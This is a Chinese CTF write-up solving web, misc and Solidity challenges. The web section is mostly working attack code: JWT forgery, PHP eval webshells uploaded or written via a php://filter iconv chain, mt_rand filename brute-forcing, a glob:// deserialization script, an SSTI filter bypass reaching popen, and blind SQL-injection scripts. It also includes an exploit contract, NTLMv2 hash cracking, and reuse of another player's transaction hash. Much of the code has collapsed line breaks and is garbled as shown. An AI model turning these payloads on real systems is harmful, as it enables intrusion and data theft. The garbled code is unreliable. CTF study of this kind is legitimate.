./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4Secret is "yibao"

jwt伪造admin权限，发现上传并没有限制，上传php文件成功，查看源码获得如下信息

function php_mt_seed($seed){mt_srand($seed);}$seed = time();php_mt_seed($seed);$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$newFileName = '';for ($i = 0; $i < 10; $i++) {$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];}

伪随机，密钥一样结果就一样，本地测试，文件名也是一样的，接下来就是对time进行爆破，这里是取了上下五十，写了两个脚本

import requestsimport timeimport osurl = 'https://senc7zrbyu7vzbzgqrduxpw38.node.game.sycsec.com/'file = {'avatar':('chu3.php','<?=eval($_POST["chu0"]);?>','application/octet-stream')}url1 = url + 'change.php'headers = {'Cookie':'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhZG1pbiIsIm5hbWUiOiJhZG1pbiIsImFkbWluIjoidHJ1ZSJ9.8nV1QCrKddruGHmqK69U69k6IQVUIzOvr69qB8qis1k'}r1 = requests.post(url=url1,files=file,headers=headers)print(r1.text)time = int(time.time())with open('./1.txt','w') as f:for i in range(time-50,time+50):f.write(str(i)+'\n')os.system('php test.php')with open('./2.txt','r') as f2:for line in f2:data = line.strip()payload = url+ 'upload/' + data + '.php'print(payload)r = requests.get(payload)if r.status_code==200:print(data)break

<?php$filename = '1.txt';$file = fopen($filename,'r');$file2 = fopen('./2.txt','w');while (!feof($file)) {$line = fgets($file);mt_srand($line);$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$newFileName = '';for ($i = 0; $i < 10; $i++) {$newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];}fwrite($file2,$newFileName."\n");}

python先上传文件，获取时间戳，将上下50的时间结果写入文件，然后用php读取时间戳并生成对应的文件名写入文件，最后再用python读取文件名并发送请求对文件名进行爆破，爆出文件名后连接蚁剑在根目录获取flag

ezrfi

查看源码获得提示读取hint.py，经过从此尝试得到hint在

../../hint

读取后得到如下内容

w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg

base64 尊嘟假嘟 rc4，这里rc4的key是猜的，题目描述的Syclover，最终结果如下

文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??

想到题目中是有hint.py，然后直接测信道写入文件并包含

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=../../hint

写入内容如下

<?php eval($_GET[1]);?>a

get 1命令执行在根目录下拿到flag

Akane!

glob://协议爆破文件名，访问就出flag

import requestsimport base64import timeurl = 'http://svdpakfo21v04snw2pb7fk9p6.node.game.sycsec.com/?tuizi='str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.!@#$%^&()-+=/`~?*'len1 = 24name = ''for j in range(1,100):for i in str1:time.sleep(1)payload1 = '''O:7:"Hoshino":2:{s:4:"Ruby";O:4:"Idol":1:{s:5:"Akane";s:'''+str(len1)+''':"glob:///var/www/html/T'''+name+i+'''*";}s:19:"HoshinoAquamarine";N;'''pay1 = base64.b64encode(payload1.encode('utf-8'))payload = url + pay1.decode('utf-8')r = requests.get(payload)print(payload1)if 'Kurokawa Akane' in r.text:name+=ilen1+=1print(name)break

TheS4crEtF1AgFi1EByo2takuXX.php

klf_3

上一次的payload直接拿来用

{% set po=dict(po=a,p=b)|join%}                               //拼接pop {% set a=(()|select|string|list)|attr(po)(24)%}               //利用pop获取()|select|string|list列表中的_{%set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%} //拼接__init__{%set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%} //拼接__globals__{%set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%} //拼接__class__{%set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%} //拼接base{%set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%} //拼接getitem，用来绕过[]{%set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%} //拼接__subclasses__{%set pp=dict(po=a,p=b,en=c)|join%} //拼接popen{%set re=dict(re=a,ad=b)|join%} //拼接read{%set cc=dict(c=a,h=b,r=c)|join%} //拼接字符chr{% set bui=(a,a,dict(buil=a,tins=b)|join,a,a)|join() %} //拼接__builtins__{%set ch=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti) //利用os类提取函数chr，用于字符串拼接(117)|attr(ini)|attr(glo)|attr(geti)(bui)|attr(geti)(cc)%}{%set ppp=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti) //使用os类，拼接出popen函数(117)|attr(ini)|attr(glo)|attr(geti)(pp)%} {%set cmd=(ch(1０８),ch(1１５))|join()%} //利用chr拼接出系统命令{{ppp(cmd)|attr(re)()}} //进行命令执行

ez_sql

先判断闭合

1')#

fuzz一下

主要是过滤了information这个字段，使用sys库的表获取库名表名，先注入一下数据库名

import requestsurl = 'http://47.108.56.168:1111/index.php'str1 = 'abcdefghigklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-+_'mid=''for i in range(0,100):for j in str1:payload = '''1\')/**/and/**/(schema())/**/like/**/binary/**/\''''+mid+j+'''%\'#'''data = {'id':payload}r = requests.post(url=url,data=data)if 'Success requires' in r.text:mid+=jprint(mid)break#articles

最后还是得用sys去获取库表名

import requestsurl = 'http://47.108.56.168:1112/index.php'str1 = 'abcdefghigklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$^&*()-+%'mid=''flag=0for k in range(0,5):for i in range(0,15):if '%' in mid:mid = ''breakfor j in str1:if '%' in mid:mid=''break#payload = '''1\')/**/and/**/(select/**/table_schema/**/from/**/sys.schema_table_statistics/**/limit/**/'''+str(k)+''',1)/**/like/**/\''''+mid+j+'''%\'#'''#payload = '''1\')/**/and/**/(select/**/column_name/**/from/**/sys.schema_table_statistics/**/limit/**/'''+str(k)+''',1)/**/like/**/\''''+mid+j+'''%\'#'''payload = '''1\')/**/and/**/(select/**/*/**/from/**/ctf.flll444aaggg9/**/limit/**/'''+str(k)+''',1)/**/like/**/\''''+mid+j+'''%\'#'''print(payload)data = {'id':payload}r = requests.post(url=url,data=data)if 'Success requires' in r.text:mid+=jprint(mid)break

MISC

下一站是哪呢

分离图片。

网上找个表，得到iwanttobaijiucity

搜索一下是泸州，看一下 8月25的航班

得到 SYC{CZ8579_Luzhou}

窃听风云

HTML加密的流量包

看https://zhuanlan.zhihu.com/p/52882041

看有NTLMv2散列的.pcap文件。通过ntlmssp这一字符串进行数据包筛选，获得身份验证的握手包。

得到三个包。查找NTLMSSP_AUTH包。过滤到 Security Blob层，就可以得到

复制一下domain和name。深入查找NTLM响应部分，找到NTProofStr字段和NTLMv2的响应。复制十六进制字符串到文本文档中。

将以上的值复制成以下：

然后利用hashcat 对字典进行爆破得到iamjackspassword

SYC{iamjackspassword}

extractMe

crc爆破，四个四个的来。

ez_smilemo

载附件后，得到一个exe文件和一个data.win文件，题目提示通关游戏即可得到flag，先去网上搜索一下data.win文件怎么打开

、

可以看到利用undertalemodtool软件可以打开，用这个软件打开data.win文件，并搜索flag

可以看到一段base64数据，base64解密后，包上SYC{}即为flag

Flag为 SYC{sm1le_1s_@_n1ce_g@me}

DEATH_N0TE

打开附件，是一张图片，先用zsteg跑出其中的LSB数据

base64解码后，得到一半的flag

剩下一半，通过观察图片，发现图片中有一些黑色和白色的小点，通过降低图片的大小，使得这些小点更加清晰，脚本如下：

from PIL import Imageim = Image.open('1.png')pix = im.load()width = im.size[0]height = im.size[1]# 新图像的宽度和高度（每12个像素生成一个新像素）new_width = width // 5new_height = height // 5# 创建一个新的图像对象new_img = Image.new("RGB", (new_width, new_height))for x in range(0,width,5):for y in range(0,height,5):rgb=pix[x, y]new_img.putpixel((x//5,y//5),(int(rgb[0]),int(rgb[1]),int(rgb[2])))new_img.save('new_image.png')

经过对照后，得到一段base64数据：TkFNRV9vMnRha3VYWH0=

解码后拼在一起即为flag

Flag为SYC{D4@Th_N0t4_NAME_o2takuXX}

Qingwan心都要碎了

通过搜索磁器口，可定位旅游地点在重庆

再搜索一下重庆著名博物馆，即可找到flag

Flag为SYC{中国三峡博物馆}

xqr

打开附件是一个二维码，直接扫描会得到一个假flag，用010打开，发现里面还藏着一张png图片

提取出来，发现还是一张类似二维码图片

两张图片的像素大小不一样，无法异或，所以先用脚本把提取出来的图片大小放大，脚本如下：

from PIL import Image# 打开原始图像im = Image.open('2.png')pix = im.load()width = im.size[0]height = im.size[1]# 新图像的宽度和高度（每个像素扩大为一个 3x3 块）new_width = width * 3new_height = height * 3# 创建一个新的图像对象new_img = Image.new("RGB", (new_width, new_height))# 将每个像素复制到新图像中的一个 3x3 块for x in range(width):for y in range(height):rgb = pix[x, y]for i in range(3):for j in range(3):new_img.putpixel((x * 3 + i, y * 3 + j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))# 保存新图像new_img.save('enlarged_image.png')

再将两张图片异或，扫码即为flag

Flag为SYC{hOp3_u_h@ve_Fun}

DEATH_N1TE

打开附件，是一段音频和一张gif图片，音频的后半部分有很明显的SSTV隐写，利用手机上的robot36软件将声音转图片获得前半部分的flag

gif图片有880张，把gif图片转成880张图片保存到文件夹中

利用imagemagick把这800多张图片合并在一起

利用gaps自动拼图软件，把图片基本复原

得到一段base64数据XzE0X0tpMTE0Un0=，解密把两段拼在一起即为flag

Flag为SYC{H4xr0t0r_14_Ki114R}

give_me_Goerlieth

这个题目吗要求在Goerlieth测试连上进行，但我没有Goerlieth币啊，咋办，怎么做

考虑到题目上让交Transaction Hash在区块连浏览器上是公开的，只需要在区块链浏览器上交别人的就可以了

0x8c358e8e9e834d52a37a0cb66f7f4cf4194f2dfc2f57b074b63ac4bc387bc1f10x8c358e8e9e834d52a37a0cb66f7f4cf4194f2dfc2f57b074b63ac4bc387bc1f1

SimpleConnect

去区块链浏览器搜地址,直接用上一个的合约地址

0x663A6e994d0197273c3D578D220571020545bFD3

DEATH-N2TE

提取视频中可疑的像素点

import cv2import numpy as npdef extract_pixels(video_path, threshold, start_col, col_interval, output_image_path):cap = cv2.VideoCapture(video_path)frame_width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))frame_height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))extracted_image = np.zeros((frame_height, min(frame_count, frame_width), 3), dtype=np.uint8)current_col = start_colfor frame_idx in range(frame_count):ret, frame = cap.read()if not ret:breakif current_col < frame_width:col_to_scan = frame[:, current_col, :]white_pixels = np.all(col_to_scan >= threshold, axis=-1)extracted_image[white_pixels, frame_idx, :] = col_to_scan[white_pixels]current_col += col_intervalif current_col >= frame_width:current_col = start_col # Reset to start if we exceed the widthcap.release()cv2.imwrite(output_image_path, extracted_image)cv2.imshow('Extracted Image', extracted_image)cv2.waitKey(0)cv2.destroyAllWindows()video_path = './kira.mp4'threshold = np.array([200, 200, 200])start_col = 5col_interval = 10output_image_path = 'extracted_image.png'extract_pixels(video_path, threshold, start_col, col_interval, output_image_path)

提取出来有些不清楚，可以放到文档里拉伸一下，得到flag

stage

pragma solidity ^0.8.4;interface IReceiver {function getNumber() external view returns(uint256);}contract stageGame{mapping (address => bool) private flag;mapping (address => bool) public isStage1Completed;function stage1() external {uint size;address addr = msg.sender;assembly { size := extcodesize(addr) }require(size == 0,"EOA must!");isStage1Completed[msg.sender] = true;}function stage2(uint _guess) external {require(isStage1Completed[msg.sender],"You should complete stage1 first!");uint number = block.timestamp % 100 + 1;require(number == _guess, "Wrong number!");_stage3();}function _stage3() private {uint size;address addr = msg.sender;assembly { size := extcodesize(addr) }require(size > 0,"Contract must!");uint256 number1;uint256 number2;(bool success,bytes memory data1) = addr.staticcall(abi.encodeWithSignature("getNumber()"));require(success,"First call failed!");number1 = abi.decode(data1, (uint256));(bool success2,bytes memory data2) = addr.call(abi.encodeWithSignature("getNumber()"));require(success2,"Second call failed!");number2 = abi.decode(data2, (uint256));require(number1 != number2, "Must return different Number!");flag[tx.origin] = true;}function check(address addr) external view returns(bool){return flag[addr];}}

合约中总共有3关

第一关，size为0即可绕过

第二关，猜数，直接套他源码就行

uint number = block.timestamp % 100 + 1;

第三关的话，他需要检查地址

pragma solidity ^0.8.4;interface IReceiver {function getNumber() external view returns(uint256);}contract stageGame{mapping (address => bool) private flag;mapping (address => bool) public isStage1Completed;function stage1() external {uint size;address addr = msg.sender;assembly { size := extcodesize(addr) }require(size == 0,"EOA must!");isStage1Completed[msg.sender] = true;}function stage2(uint _guess) external {require(isStage1Completed[msg.sender],"You should complete stage1 first!");uint number = block.timestamp % 100 + 1;require(number == _guess, "Wrong number!");_stage3();}function _stage3() private {uint size;address addr = msg.sender;assembly { size := extcodesize(addr) }require(size > 0,"Contract must!");uint256 number1;uint256 number2;(bool success,bytes memory data1) = addr.staticcall(abi.encodeWithSignature("getNumber()"));require(success,"First call failed!");number1 = abi.decode(data1, (uint256));(bool success2,bytes memory data2) = addr.call(abi.encodeWithSignature("getNumber()"));require(success2,"Second call failed!");number2 = abi.decode(data2, (uint256));require(number1 != number2, "Must return different Number!");flag[tx.origin] = true;}function check(address addr) external view returns(bool){return flag[addr];}}// SPDX-License-Identifier: MITpragma solidity ^0.8.0;// 假设stageGame合约的接口如下interface IStageGame {function stage1() external;function stage2(uint256 number) external;function check(address addr) external returns (bool);}contract Exp {IStageGame public stageGame;constructor(address _address) {stageGame = IStageGame(_address);stageGame.stage1();      }// 尝试获取gas消耗量，如果消耗超过2000则返回0，否则返回1function getNumber() external view returns (uint256) {uint256 gbef = 0;uint256 gaft = 0;assembly {gbef := gas()let x := sload(0x66666)gaft := gas()}uint256 gasc = gbef - gaft;if (gasc > 2000) {return uint256(0);}return uint256(1);}// 尝试执行hack操作，成功则返回true，否则返回falsefunction hack(address addr) public returns (bool) {bool flag = false;uint256 number = block.timestamp % 100 + 1;stageGame.stage2(number);flag = stageGame.check(addr);return flag;}}

之后就打通了，可以在账户详情查看私钥